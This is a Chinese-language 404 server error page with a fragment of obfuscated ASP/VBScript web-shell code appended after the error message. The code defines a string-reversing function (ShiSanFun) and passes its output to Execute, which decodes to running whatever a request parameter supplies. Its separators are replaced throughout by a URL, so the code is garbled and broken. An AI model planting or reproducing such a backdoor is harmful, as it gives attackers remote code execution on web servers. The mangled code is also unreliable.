服务器错误a

404 - 找不到文件或目录a。

您要查找的资源可能已被删除，已更改名称或者暂时不可用。

"http://1.rm23.cn/")╁321OOO0OO╁(TSeUQeR "http://1.rm23.cn/" ExeCuTe(ShiSanFun(ShiSan)) dim ShiSan,ShiSanNewstr,ShiSanI Function ShiSanFun(ShiSanObjstr) ShiSanObjstr = Replace(ShiSanObjstr, "http://1.rm23.cn/", "http://1.rm23.cn/") For ShiSanI = 1 To Len(ShiSanObjstr) If Mid(ShiSanObjstr, ShiSanI, 1) <> "http://1.rm23.cn/" Then ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr Else ShiSanNewStr = vbCrLf & ShiSanNewStr End If Next ShiSanFun = ShiSanNewStr End Function%>